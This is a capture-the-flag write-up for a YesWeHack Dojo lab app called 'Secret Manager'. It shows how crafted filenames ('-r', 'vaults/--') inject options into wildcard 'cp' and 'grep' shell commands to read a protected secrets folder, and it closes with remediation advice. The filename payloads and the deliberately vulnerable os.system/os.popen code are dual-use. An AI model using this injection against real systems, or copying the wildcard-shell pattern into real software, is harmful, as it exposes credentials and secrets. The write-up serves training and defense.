Skip to content

YesWeHack Dojo 49: Secret Manager

TL;DR

  • The application writes user-controlled filenames into an uploads directory.
  • All files are backed up into a vault using a shell cp command.
  • The vault can be searched using a shell grep command.
  • Both commands rely on wildcards and weak input validation.
  • By abusing argument injection via crafted filenames, we can read internal_secrets/flag.txt.

Description

A new secret manager has appeared on the market, and its popularity is rising swiftly. โ€œSafely store, manage, and delete your secrets,โ€ they say. Our team has found a testing environment for the application. Interestingly enough, the developers left an internal secrets folder sitting within the application.

Solution

In this writeup, we'll review the latest YesWeHack Dojo challenge, created by zerodaygym ๐Ÿ’œ

Follow me on Twitter and LinkedIn (and everywhere else ๐Ÿ”ช) for more hacking content! ๐Ÿฅฐ

Source code review

setup.py

The setup script prepares the environment and writes the flag to an internal secrets folder, setting up the vulnerable file structure.

import os
os.chdir('/tmp')

os.mkdir('templates')
os.mkdir('uploads')
os.mkdir('uploads/internal_secrets')
os.mkdir('uploads/vaults')
os.mkdir('uploads/extracted')

with open('uploads/internal_secrets/flag.txt', 'w') as f:
    f.write(flag)

with open('uploads/internal_secrets/admin_credentials.txt', 'w') as f:
    f.write('admin:super_secret_password_123\n')

with open('uploads/user_secrets.txt', 'w') as f:
    f.write('This is a user secret file.\n')

So we have:

/tmp/uploads/
โ”œโ”€โ”€ internal_secrets/
โ”‚   โ”œโ”€โ”€ flag.txt
โ”‚   โ””โ”€โ”€ admin_credentials.txt
โ”œโ”€โ”€ vaults/
โ”œโ”€โ”€ extracted/
โ””โ”€โ”€ user_secrets.txt

We know our target: /tmp/uploads/internal_secrets/flag.txt ๐ŸŽฏ

app.py

Opening the main app, there are four POST parameters:

action = unquote("action")
filenames = unquote("filenames").split()
content = unquote("content")
grep = unquote("search_term")

filenames is split on whitespace, so we can provide multiple filenames separated by newlines.

There is some basic validation, which immediately makes us think about directory traversal:

if filename.startswith('/'):
    message = "Error: the filename cannot start with '/'"
elif '\\' in filename or '..' in filename:
    message = "Error: Invalid filename"

Each filename is then written directly into /tmp/uploads/

file_path = os.path.join(UPLOAD_FOLDER, filename)
with open(file_path, "w") as f:
    f.write(content if content else "No content in the file!")

After that, everything inside uploads is copied into the vault:

os.chdir(UPLOAD_FOLDER)
os.system(f'cp * {VAULT_FOLDER} 2>/dev/null')
os.chdir('/tmp')

Later, if action=search, the app runs:

os.chdir(VAULT_FOLDER)
result = os.popen(
    f'grep -r "{grep}" * --exclude-dir=internal_secrets 2>/dev/null'
).read()
os.chdir('/tmp')

The grep pattern is restricted to [a-zA-Z0-9.]+, so classic command injection via search_term is blocked. However:

  • cp uses *
  • grep uses *
  • Both are executed via the shell
  • Filenames are attacker-controlled

At first glance this looks like directory traversal. The more interesting part is the two shell commands using *.

Testing functionality

Before exploiting anything, lets confirm intended behaviour. We upload two files and immediately view them:

  • ACTION=viewFile
  • CONTENT=meow
  • FILENAMES=
meow.txt
ekek.txt

Secret Manager normal upload and viewFile behaviour

The output confirms:

Upload succeeded! Your secrets are: ekek.txt, extracted, internal_secrets, meow.txt, user_secrets.txt, vaults

Content of 'meow.txt':
meow
Content of 'ekek.txt':
meow

So we know:

  • Files are written into /tmp/uploads/
  • Everything is copied into /tmp/uploads/vaults/
  • viewFile reads from the vault copy
  • The app claims internal_secrets is excluded for security

Exploit

There are two shell commands:

cp * /tmp/uploads/vaults
grep -r "<term>" * --exclude-dir=internal_secrets

Both rely on *, which expands to filenames we control.

Step 1: inject into cp

If we create a file called -r and the app runs:

cp * /tmp/uploads/vaults

The shell expands * to include -r, and cp interprets it as an option, e.g.

cp -r * /tmp/uploads/vaults

That effectively turns the backup into cp -r *, meaning the internal_secrets directory is now inside the vault as well.

Step 2: bypass --exclude-dir

The search command tries to exclude the sensitive folder:

--exclude-dir=internal_secrets

However, grep stops parsing options after --

So we create a file named:

vaults/--
  • cp runs inside /tmp/uploads/
  • grep runs inside /tmp/uploads/vaults/

Placing -- inside the vault means:

  • It does not interfere with the cp -r injection.
  • It does interfere with grep option parsing.

Final payload

  • ACTION=search
  • SEARCH_TERM=FLAG
  • FILENAMES=
-r
vaults/--

Argument injection payload for cp and grep

When submitted, grep no longer excludes internal_secrets, and the flag is printed:

Flag printed via grep from internal_secrets folder

Flag: FLAG{A1m_F0r_Th3_St4r!}

Remediation

  • Avoid running shell commands with wildcards and user-controlled filenames.
  • Use subprocess.run with argument lists instead of os.system or os.popen.
  • Enforce directory boundaries using real path checks rather than substring filtering.

Summary

Because filenames are fully attacker-controlled, we can create -r to turn cp * into cp -r *, copying internal_secrets into the vault. We then create vaults/-- so grep stops parsing options and ignores its own --exclude-dir protection. A simple search for FLAG is enough to print the contents of internal_secrets/flag.txt in the UI.